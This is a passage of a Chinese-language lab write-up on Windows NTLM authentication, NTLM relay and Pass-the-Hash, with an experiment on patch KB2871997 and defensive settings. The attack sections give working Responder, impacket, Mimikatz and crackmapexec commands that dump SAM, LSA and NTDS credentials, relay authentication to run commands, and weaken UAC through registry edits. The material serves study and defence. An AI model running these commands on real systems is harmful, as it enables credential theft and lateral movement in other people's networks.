  7. Negotiate Extensions SSP
  8. PKU2U SSP

在系统层面,SSP就是一个DLL用于实现身份验证功能,NTLM是基于Challenge/Response机制,Kerberos是基于ticket的身份验证。所以,我们也可以实现自己的SSP,让系统实现更多的身份验证方法,比如Mimikatz就自己实现了一个利用SSP机制的记录密码。

在抓包分析的时候,我们也能看见ntlmssp是在gssapi下面的。

20220303-16:31:44-_5qygz1_tvdw16_5qygz1_1646296304511_5qygz1_tvdw16

因为sspi是gssapi的变体,这里出现gssapi是为了兼容。注册为SSP的好处就是,SSP实现了了与安全有关的功能函数,那上层协议(比如SMB)在进行身份认证等功能的时候,就可以不用考虑协议细节,只需要调用相关的函数即可。而认证过程中的流量嵌入在上层协议里面。不像kerbreos,既可以镶嵌在上层协议里面,也可以作为独立的应用层协议。ntlm是只能镶嵌在上层协议里面,消息的传输依赖于使用ntlm的上层协议。

比如SMB:
20220303-17:16:29-_qOnRbO_Lhazy7_qOnRbO_1646298989782_qOnRbO_Lhazy7

HTTP是这样的:
20220303-17:20:19-_Ctuelz_gbonvT_Ctuelz_1646299219363_Ctuelz_gbonvT

0x02 NTLM Relay

攻击方式待更新

在上面的认证过程中,我们知道了正常的ntlm认证流程是这样的:
20220303-17:28:51-_mbVsXn_zIn4i2_mbVsXn_1646299731095_mbVsXn_zIn4i2

如果这个时候有个中间人出现的话:

20220303-17:34:41-_C20tRl_YBxFQE_C20tRl_1646300081235_C20tRl_YBxFQE

作为中间人,攻击者会将来自客户端的包转发给服务端,在将服务端的包转发给客户端,客户端生成Response后,再把type3包转发给服务端,服务端验证通过后,服务器将会授予攻击者访问的权限。

Responder 利用LLMNR和NetBIOS欺骗 WPAD劫持 获得Net-NTLMHash

Kali上默认有,所以不用安装了(

1
responder -I eth1

诱导受害者访问:

20220308-19:44:08-_v5MaK5_ePTgZa_v5MaK5_1646739848993_v5MaK5_ePTgZa

WPAD劫持

1
responder -I eth1 

打印机漏洞 PrintBug

Kali部署SMBServer抓NTLM哈希

使用smbserver起一个服务,受害机直接访问攻击机部署的SMB也能捕获到NTLM加密的哈希值

1
impacket-smbserver test /tmp -port 445

https://images.atsud0.me/images/post/20220301-13:39:51-_ENmKVA_QST3yO_ENmKVA_1646113191474_ENmKVA_QST3yO.png

https://images.atsud0.me/images/post/20220301-13:41:00-_8o1DrI_KJGWiz_8o1DrI_1646113260162_8o1DrI_KJGWiz.png

https://images.atsud0.me/images/post/20220301-13:42:50-_HYONKH_6iotDa_HYONKH_1646113370857_HYONKH_6iotDa.png

探测SMB签名

可以使用NMAP脚本也可以使用Responder自带的工具.

Responder-MultiRelayx

利用条件:SMB签名关

第一次使用会提示报错:

20220308-19:34:33-_JDXehi_uzEgR0_JDXehi_1646739273299_JDXehi_uzEgR0

安装gcc-mingw后,先去Kali Responder tools目录下编译

1
2
3
cd /usr/share/responder/tools \
sudo x86_64-w64-mingw32-gcc ./MultiRelay/bin/Runas.c -o ./MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv \
sudo x86_64-w64-mingw32-gcc ./MultiRelay/bin/Syssvc.c -o ./MultiRelay/bin/Syssvc.exe -municode

20220308-19:35:52-_WljWiL_IDaGcU_WljWiL_1646739352069_WljWiL_IDaGcU

impacket-smbrelayx

1
impacket-smbrelayx -h Client2(伪造服务的IP) -c Command 

受害者访问中间人IP(攻击者IP),如果权限足够的话,是能够执行攻击者指定的命令.

20220307-16:50:42-_91GGxW_7j8gqW_91GGxW_1646643042643_91GGxW_7j8gqW

如果受害人对攻击者要伪造的服务权限不足的话,就会提示权限不足 Like This:

image-20220307204923200

1
impacket-smbrelayx -h 10.1.1.12 -e a.exe #要执行的文件

image-20220307211654344

impacket-ntlmrelayx

1
impacket-ntlmrelayx -t smb://10.1.1.12 -c whoami -smb2support

一样的利用方法,诱导受害者访问中间人即可执行命令.

image-20220308175356939

0x03 NTLM Relay 防御

【待更新】


0x04 Pass The Hash

A Pass-the-Hash (PtH) attack is a technique whereby an attacker captures a password hash (as opposed to the password characters) and then simply passes it through for authentication and potentially lateral access to other networked systems. The threat actor doesn’t need to decrypt the hash to obtain a plain text password. PtH attacks exploit the authentication protocol, as the passwords hash remains static for every session until the password is rotated. Attackers commonly obtain hashes by scraping a system’s active memory and other techniques.

While Pass-the-Hash (PtH) attacks can occur on Linux, Unix, and other platforms, they are most prevalent on Windows systems. In Windows, PtH exploits Single Sign-On (SS0) through NT Lan Manager (NTLM), Kerberos, and other authentication protocols. When a password is created in Windows, it is hashed and stored in the Security Accounts Manager (SAM), Local Security Authority Subsystem (LSASS) process memory, the Credential Manager (CredMan) store, a ntds.dit database in Active Directory, or elsewhere. So, when a user logs onto a Windows workstation or server, they essentially leave behind their password credentials.

PassTheHash 攻击 通常是指 攻击者获得密码hash,利用其对其进行认证 横向至其他网络内部其他系统,攻击者不用解密Hash,因为该攻击方式利用NTLM认证协议.

这里简单介绍下利用方法:

基础利用手法

Mimikatz

1
2
3
4
5
6
#获取内存密码 Or SAM数据库密码
Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
Mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"

# 交互式获取shell
Mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:atsud0.lab.com /user:administrator /ntlm:ae4c0d5fb959fda8f4cb1d14a8376af4 /run:cmd.exe"

impacket

impacket套件里面有psexec、wmiexec、atexec、smbexec等工具,其他的用法大致都差不多。

1
2
3
4
5
6
7
8
9
# 命令执行 Or 远程登录
impacket-wmiexec -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 DC01/[email protected]
impacket-psexec -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 DC01/[email protected]
impacket-smbexec -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 DC01/[email protected]
impacket-dcomexec -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 DC01/[email protected]
impacket-atexec -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 DC01/[email protected] "whoami"

#导出SAM密码、lsa内存密码
impacket-secretsdump -hashes :35b5a70f68f5ef895d52d15d8d84af6b [email protected]

crackmapexec

和impacket比的优点在于,可以很方便的批量攻击多个目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#命令执行
crackmapexec winrm 10.1.1.2 10.1.1.5 -d atsud0.lab.com -u Administrator -p Admin123456 -x whoami

crackmapexec smb 10.1.1.5 --local-auth -u Administrator -H 35b5a70f68f5ef895d52d15d8d84af6b -x whoami

crackmapexec smb 10.1.1.2 10.1.1.5 -d atsud0.lab.com -u Administrator -H ae4c0d5fb959fda8f4cb1d14a8376af4 -x whoami

#导出密码
crackmapexec smb 10.1.1.5 --local-auth -u Administrator -H 35b5a70f68f5ef895d52d15d8d84af6b --sam

crackmapexec smb 10.1.1.5 10.1.1.2 -d atsud0.lab.com -u Administrator -H ae4c0d5fb959fda8f4cb1d14a8376af4 --lsa

crackmapexec smb 10.1.1.2 10.1.1.5 -d atsud0.lab.com -u Administrator -p Admin123456 --ntds

探究KB2871997

本次实验主要是为了弄清楚KB2871997补丁,是否能防御PTH攻击。

实验环境: Windows Server 2008

https://images.atsud0.me/images/post/20220223-11:14:30-_uuGSJx_TcblgI_uuGSJx_1645586070285_uuGSJx_TcblgI.png

https://images.atsud0.me/images/post/20220223-11:52:24-_OyLDhL_38qD4k_OyLDhL_1645588344569_OyLDhL_38qD4k.png

https://images.atsud0.me/images/post/20220223-11:06:58-_h5KW10_itiVM0_h5KW10_1645585618383_h5KW10_itiVM0.png

本地计算机用户中SID为1001的gg用户为普通用户,SID为1002的gga用户为本地计算机管理员用户。

域计算机用户中SID为1104的user用户为普通域用户,SID为1107的sadmin用户为Server01本地计算机管理员的域普通用户。

UAC Remote Restrictions

由于Windows Vista后的系统,微软引入了用户帐户控制(User Account Control),为了保护Administrator组的用户,微软默认开启了远程限制(UAC Remote Restrictions),对自建管理员用户的UAC功能进行了限制,远程访问时,自建管理员相当于普通用户。所以只有SID为500的Administrator用户能够成功利用PTH,工作组本地其他用户均失败。

https://images.atsud0.me/images/post/20220226-20:31:43-_B0Gv4p_H9dFFu_B0Gv4p_1645878703798_B0Gv4p_H9dFFu.png

这一点在部分文章中被认为是KB2871997补丁的作用,但是实际上是UAC远程限制(UAC Remote Restrictions)产生的作用,微软官方文档:https://docs.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction

禁用UAC远程限制限制LocalAccountTokenFilterPolicy。

该项配置默认不存在,不存在的情况下为0。

https://images.atsud0.me/images/post/20220223-11:54:13-_9fWpEM_Aqg0nH_9fWpEM_1645588453856_9fWpEM_Aqg0nH.png

取消限制

1
reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d "1" /f

还原配置

1
reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d "0" /f

该配置修改后立即生效,无须重启。(在开启WinRM的时候,Enable-Psremoting也会把这个远程限制给取消了。)

无补丁+LocalAccountTokenFilterPolicy 默认值

本地用户

SID:500 Administrator 本地计算机管理员

https://images.atsud0.me/images/post/20220223-14:01:45-_rDYgqw_5Ml4yc_rDYgqw_1645596105101_rDYgqw_5Ml4yc.png

https://images.atsud0.me/images/post/20220223-14:14:48-_1rxnDV_1Bdn9i_1rxnDV_1645596888098_1rxnDV_1Bdn9i.png

SID:1001 gg 本地计算机普通用户

https://images.atsud0.me/images/post/20220223-14:17:18-_AwLoGm_OdQOgW_AwLoGm_1645597038108_AwLoGm_OdQOgW.png

SID:1002 gga 本地计算机管理员用户

https://images.atsud0.me/images/post/20220223-14:20:37-_2FbKCP_RrbfVo_2FbKCP_1645597237604_2FbKCP_RrbfVo.png

https://images.atsud0.me/images/post/20220223-14:21:38-_vkCwLK_aRWOK1_vkCwLK_1645597298581_vkCwLK_aRWOK1.png

域内用户

SID:500 Administrator 域计算机管理员

https://images.atsud0.me/images/post/20220223-14:30:03-_WVHfVR_HIyWEi_WVHfVR_1645597803807_WVHfVR_HIyWEi.png

https://images.atsud0.me/images/post/20220223-14:40:30-_sjeuSi_OfCGzg_sjeuSi_1645598430237_sjeuSi_OfCGzg.png

SID:1104 user 域内普通用户

https://images.atsud0.me/images/post/20220223-14:42:02-_9dBQjY_djADeZ_9dBQjY_1645598522588_9dBQjY_djADeZ.png

SID:1107 sadmin 加入Server01本地计算机管理员组的普通域用户

https://images.atsud0.me/images/post/20220223-14:44:46-_FAEyEX_K1rU6x_FAEyEX_1645598686700_FAEyEX_K1rU6x.png

https://images.atsud0.me/images/post/20220223-14:43:29-_GHCGQE_atq51U_GHCGQE_1645598609818_GHCGQE_atq51U.png

小结

在无打补丁的情况下,并且LocalAccountTokenFilterPolicy为默认配置的情况下(注意sadmin为本地计算机管理员的普通域用户):

https://images.atsud0.me/images/post/20220223-16:21:04-_4JvAah_9lAQ9c_4JvAah_1645604464237_4JvAah_9lAQ9c.png

无打补丁LocalAccountTokenFilterPolicy配置为1

本地用户

SID:500 Administrator 本地计算机管理员用户

https://images.atsud0.me/images/post/20220223-16:18:25-_9aal6d_vK8Y8J_9aal6d_1645604305345_9aal6d_vK8Y8J.png

https://images.atsud0.me/images/post/20220223-16:16:21-_SCeLWy_CaayLJ_SCeLWy_1645604181042_SCeLWy_CaayLJ.png

SID:1001 gg 本地计算机普通用户

https://images.atsud0.me/images/post/20220223-16:14:01-_HWvZzs_XpSt0V_HWvZzs_1645604041132_HWvZzs_XpSt0V.png

SID:1002 gga 本地计算机管理员用户

https://images.atsud0.me/images/post/20220223-16:17:39-_AD86UZ_6u9h4g_AD86UZ_1645604259624_AD86UZ_6u9h4g.png

https://images.atsud0.me/images/post/20220223-16:12:24-_1eGT4M_OngXDO_1eGT4M_1645603944944_1eGT4M_OngXDO.png

域用户

结果与LocalAccountTokenFilterPolicy默认配置的情况相同,在此不再赘述。

小结

在无打补丁的情况下,并且LocalAccountTokenFilterPolicy值被修改为1的情况下(注意sadmin为本地计算机管理员的普通域用户):

https://images.atsud0.me/images/post/20220223-16:34:00-_uO1uvD_DjMo9W_uO1uvD_1645605240497_uO1uvD_DjMo9W.png

无补丁情况总结

在不打补丁的情况下,域内用户不受Remote UAC限制,但本地计算机管理员用户受此限制(除了SID为500的Administrator不受限制)。说人话就是,本地计算机管理员不能PTH,除了SID为500的管理员用户。

打了补丁KB2871997且LocalAccountTokenFilterPolicy为默认

https://images.atsud0.me/images/post/20220223-17:18:02-_hT7S6x_pkiwcG_hT7S6x_1645607882804_hT7S6x_pkiwcG.png

进行更新KB2871997后进行PTH尝试。

本地用户

SID 500 Administrator

https://images.atsud0.me/images/post/20220225-13:56:42-_3p5fyE_OB6TfS_3p5fyE_1645768602510_3p5fyE_OB6TfS.png

https://images.atsud0.me/images/post/20220225-14:18:51-_QowPX0_60AQgz_QowPX0_1645769931277_QowPX0_60AQgz.png

SID 1001 gg 普通用户、SID 1002 gga 本地计算机管理员用户 权限被拒绝

https://images.atsud0.me/images/post/20220225-13:59:33-_gwVa47_EOl4Cn_gwVa47_1645768773076_gwVa47_EOl4Cn.png

https://images.atsud0.me/images/post/20220225-14:39:19-_uu0tbY_859diX_uu0tbY_1645771159019_uu0tbY_859diX.png

域用户

SID 500 Administrator

https://images.atsud0.me/images/post/20220225-14:21:18-_73yxaV_nJfQ53_73yxaV_1645770078796_73yxaV_nJfQ53.png

https://images.atsud0.me/images/post/20220225-14:26:20-_JHfvCw_XYvMYe_JHfvCw_1645770380922_JHfvCw_XYvMYe.png

SID 1007 sadmin 域普通用户,本地计算机管理员

https://images.atsud0.me/images/post/20220225-14:29:05-_QHAFTL_Brqlgh_QHAFTL_1645770545939_QHAFTL_Brqlgh.png

SID 1004 user 域普通用户

https://images.atsud0.me/images/post/20220225-14:31:40-_Ts2m2d_MZcF1j_Ts2m2d_1645770700687_Ts2m2d_MZcF1j.png

小结

在打了补丁KB2871997后,利用PTH攻击的情况:

https://images.atsud0.me/images/post/20220225-14:40:21-_imzxIA_ZUZSG1_imzxIA_1645771221454_imzxIA_ZUZSG1.png

可以发现其实和不打补丁是没有什么区别的,那么这个补丁的作用是什么呢?为什么该补丁又会被称为PTH杀手呢,抱着这个疑问再度进行了一些查找。发现该补丁其实是做了以下保护措施:

  • 用户注销后(大概30-40秒左右)清除LSASS的明文凭证。
  • 添加新的SID。
  • 添加受保护的用户组((仅限域功能级别为Windows Server 2012 R2以上的域控)在该用户组的用户将禁用NTLM、CredSSP、摘要式身份验证、仅支持Kerberos认证(AES或更高),不支持约束委托和不受约束委托)。
  • RestrictedAdmin RDP模式的远程桌面客户端支持。

注销用户后抓取内存密码

https://images.atsud0.me/images/post/20220225-15:43:44-_CGXYRW_c4t5Sm_CGXYRW_1645775024400_CGXYRW_c4t5Sm.png

用户登录状态抓取内存密码

https://images.atsud0.me/images/post/20220225-15:44:51-_PGiC36_V9HBYR_PGiC36_1645775091966_PGiC36_V9HBYR.png

受保护的用户:

将域用户sadmin添加到受保护的用户组里

https://images.atsud0.me/images/post/20220225-15:49:49-_k2JJoS_HiLvfd_k2JJoS_1645775389882_k2JJoS_HiLvfd.png

https://images.atsud0.me/images/post/20220225-15:50:39-_wLK2tt_JQhiiy_wLK2tt_1645775439066_wLK2tt_JQhiiy.png

再次利用smbexec和mimikatz进行PTH攻击

https://images.atsud0.me/images/post/20220225-15:51:11-_kzrBRP_Qqk1ci_kzrBRP_1645775471062_kzrBRP_Qqk1ci.png

https://images.atsud0.me/images/post/20220225-15:52:49-_iosR88_w8AIOD_iosR88_1645775569218_iosR88_w8AIOD.png

即使用户在登录状态也无法获取NTLM哈希、明文凭据(因为直接禁用NTLM认证)。

https://images.atsud0.me/images/post/20220225-16:11:36-_O9sZEu_rPz3jl_O9sZEu_1645776696426_O9sZEu_rPz3jl.png

尝试利用ntlm hash进行kerberos认证:

image-20220321160344378

继续尝试利用RC4、Aes256进行key传递。

https://images.atsud0.me/images/post/20220225-18:29:57-_oN9DmG_Tku7V2_oN9DmG_1645784997872_oN9DmG_Tku7V2.png

https://images.atsud0.me/images/post/20220225-18:33:14-_scUT3g_pMDq9W_scUT3g_1645785194043_scUT3g_pMDq9W.png

  • 如果使用aeskey传递的话,得使用 \网络名\ 而不是 \IP地址\ 如果使用\IP地址\的话 会报用户密码错误。

在加入受限用户组后,也确实如同补丁描述所说,只允许AesKey进行传递。并且在抓取用户内存密码上变得更加困难,比如。。ekeys都获取不到受限用户组用户的key了。

https://images.atsud0.me/images/post/20220225-19:01:47-_Lo1hmA_rEa7NB_Lo1hmA_1645786907036_Lo1hmA_rEa7NB.png

0x05 PassTheHash 防御

拒绝SID500用户从网络登录

上面我们知道了,将域用户加入受限用户组后能提高防御哈希传递能力,但是如果攻击者获取了本地计算机管理员(SID:500)用户的哈希还是可以利用NTLM哈希进行PTH攻击,那么我们可不可以限制SID500用户进行PTH呢。

经测试以下方法都可以限制默认管理员用户。

FilterAdministratorToken & EnableLua

FilterAdministratorToken

https://images.atsud0.me/images/post/20220226-19:45:30-_KnLxj0_iwqRzj_KnLxj0_1645875930684_KnLxj0_iwqRzj.png

微软官方文档中有关于此项描述:

1
2
3
4
5
6
7
The User Account Control: Admin Approval Mode for the built-in Administrator account policy setting controls the behavior of Admin Approval Mode for the built-in Administrator account.

The options are:

Enabled. The built-in Administrator account uses Admin Approval Mode. By default, any operation that requires elevation of privilege will prompt the user to approve the operation.

Disabled. (Default) The built-in Administrator account runs all applications with full administrative privilege.

大意是默认情况下,该配置是禁用的。内置管理员(SID500的Administrator)能够以最高权限(full administrative)运行所有程序。如果开启的话,内置管理员将会采用管理员审批模式。给内置管理员打开了UAC功能,以管理员模式请求某个程序运行时,都会弹出UAC审批。等同于把内置管理员降级成了自建管理员。

当此配置启用时:

https://images.atsud0.me/images/post/20220226-19:52:06-_hK6Pv4_yWOVCz_hK6Pv4_1645876326299_hK6Pv4_yWOVCz.png

当此配置禁用时(默认),内置管理员将会以最高权限(full administrative)运行程序:

https://images.atsud0.me/images/post/20220226-19:55:34-_EMcDN3_WK9goj_EMcDN3_1645876534789_EMcDN3_WK9goj.png

在本地策略中将用户内置管理员账号的管理员批准模式选项启用,也可以通过注册表修改。

还原默认配置

1
reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d "0" /f

限制内置管理员

1
reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d "1" /f

修改立即生效,不需要重启。

https://images.atsud0.me/images/post/20220226-16:49:36-_9gvky1_fnZMLA_9gvky1_1645865376106_9gvky1_fnZMLA.png

https://images.atsud0.me/images/post/20220226-16:28:11-_7gKJk1_luUR5b_7gKJk1_1645864091298_7gKJk1_luUR5b.png

https://images.atsud0.me/images/post/20220226-16:29:04-_yDArKB_lXJhZc_yDArKB_1645864144778_yDArKB_lXJhZc.png

Enable Lua

”启用管理审批模式”(Run all administrators in Admin Approval Mode) 该项是默认开启的。

https://images.atsud0.me/images/post/20220226-19:59:29-_jLcWiH_HAlyKk_jLcWiH_1645876769572_jLcWiH_HAlyKk.png

在微软文档的描述中为:

1
2
3
4
5
6
7
8
9
10
11
The User Account Control: Run all administrators Admin Approval Mode policy setting controls the behavior of all UAC policy settings for the computer. If you change this policy setting, you must restart your computer.

The options are:

Enabled. (Default) Admin Approval Mode is enabled. This policy must be enabled and related UAC policy settings must also be set appropriately to allow the built-in Administrator account and all other users who are members of the Administrators group to run in Admin Approval Mode.

Disabled. Admin Approval Mode and all related UAC policy settings are disabled.

Note

If this policy setting is disabled, the Security Center notifies you that the overall security of the operating system has been reduced.

大意是,该项默认启用(必须),管理员审批模式和UAC策略依赖于该项配置的设置,如果禁用,UAC策略设置也会失效,系统会提示你系统安全水平低。

如果该配置被禁用了,那么自建管理员将会以最高权限(full administrative)运行所有程序,并且UAC策略将会失效。

通过命令快速修改配置:

1
reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLua /t REG_DWORD /d "0" /f

还原默认配置

1
reg add "hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLua /t REG_DWORD /d "1" /f

缺点:修改配置后必须重启才能生效。

前面所说的Remote UAC(LocalAccountTokenFilterPolicy)配置为默认,而启用管理审批模式(Enable Lua)被修改为禁用,进行PTH攻击。

可见UAC功能被禁用。而Remote UAC属于是UAC相关配置,依赖于Enable Lua配置,Enable Lua配置为禁用,导致自建管理员用户也能最高权限(full administrative)运行所有程序,从而哈希传递攻击成功。

https://images.atsud0.me/images/post/20220226-20:16:40-_Gl0Gp5_vbr5LT_Gl0Gp5_1645877800889_Gl0Gp5_vbr5LT.png

https://images.atsud0.me/images/post/20220226-20:21:34-_CY74F9_S8w9Gg_CY74F9_1645878094538_CY74F9_S8w9Gg.png

拒绝网络访问配置

不过也可以配置指定用户拒绝从网络访问

配置位置:本地安全策略→本地策略→用户权限分配→拒绝从网络访问这台计算机

https://images.atsud0.me/images/post/20220226-17:47:03-_AKsCEm_iGXMqk_AKsCEm_1645868823122_AKsCEm_iGXMqk.png

禁用内置Administrator

可以考虑禁用内置的Administrator用户,重新创建一个本地计算机管理员用户,以此来防御。

本地安全策略→本地策略→安全选项→帐户:管理员帐户状态。沟选禁用

https://images.atsud0.me/images/post/20220226-19:17:07-_z2Rc8Z_GEHunJ_z2Rc8Z_1645874227233_z2Rc8Z_GEHunJ.png

https://images.atsud0.me/images/post/20220226-17:58:44-_nB0p85_tHLkoX_nB0p85_1645869524674_nB0p85_tHLkoX.png

域内防御方式

禁用NTLM认证

下发组策略,禁用NTLM认证。

禁用域的NTLM认证后,尝试利用PTH攻击,会提示请求不支持。

https://images.atsud0.me/images/post/20220226-23:37:34-_XYLjU9_sWkPXi_XYLjU9_1645889854695_XYLjU9_sWkPXi.png

虽然但是,攻击者还是可以通过ekey进行攻击,或者是使用hash传递进行kerberos认证的。

https://images.atsud0.me/images/post/20220226-23:35:52-_NtBddt_FI4hk5_NtBddt_1645889752104_NtBddt_FI4hk5.png

或者是over pass the hash攻击,即使用ntlm hash来进行kerberos认证.

image-20220321153007894

还有其他方法,比如前文所述的,域功能级别为2012R2域控的可以将域用户添加到受保护的用户组、域策略中下发禁用成员机里的内置管理员等方法。

内容总结

结论就是:

Windows Visita之后的系统,在打不打KB2871997补丁的情况下,域内用户都不受UAC Remote Restrictions限制,但本地计算机管理员用户受此限制(除了SID为500的Administrator不受限制)。说人话就是,工作组本地计算机管理员不能PTH,除了SID为500的默认管理员用户。

所以KB2871997并没有对工作组本地计算机用户的哈希传递直接进行限制,而是UAC Remote Restrictions限制所造成的。当运维人员错误配置UAC策略(关闭UAC、关闭UAC Remote Restrictions限制)后,即使打了补丁(打不打都一样),SID不为500的计算机管理员用户也能进行PTH攻击。如果需要限制SID为500的默认管理员用户,可以通过禁用内置管理员帐户、拒绝内置管理员网络登录、将内置管理员降权等方法(也许还有其他的方法)来实现限制 。

故网络上部分文章所描述的,”更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外”说法错误。

但是KB2871997添加了用户注销后清除内存密码的功能,即用户注销后,系统不再在内存中保存明文密码,使得攻击者在抓取内存密码的情况下变得困难。如果目标用户加入了受保护的用户组,则相当于直接禁用了NTLM认证,这才能说把Pass The Hash给砍了。但是在这种情况下,我们还是可以想办法获取AESKey后,利用AESkey进行Pass The Key传递(即OverPass The Hash)。如果没有将用户加入受保护的用户组的话,那该补丁的作用只是清除明文凭据罢了。Pass The Hash攻击依然不受影响。

0x06 总结

本文简单介绍了NTLM认证的流程、NTLM Hash值,PassTheHash攻击方式以及防御方式。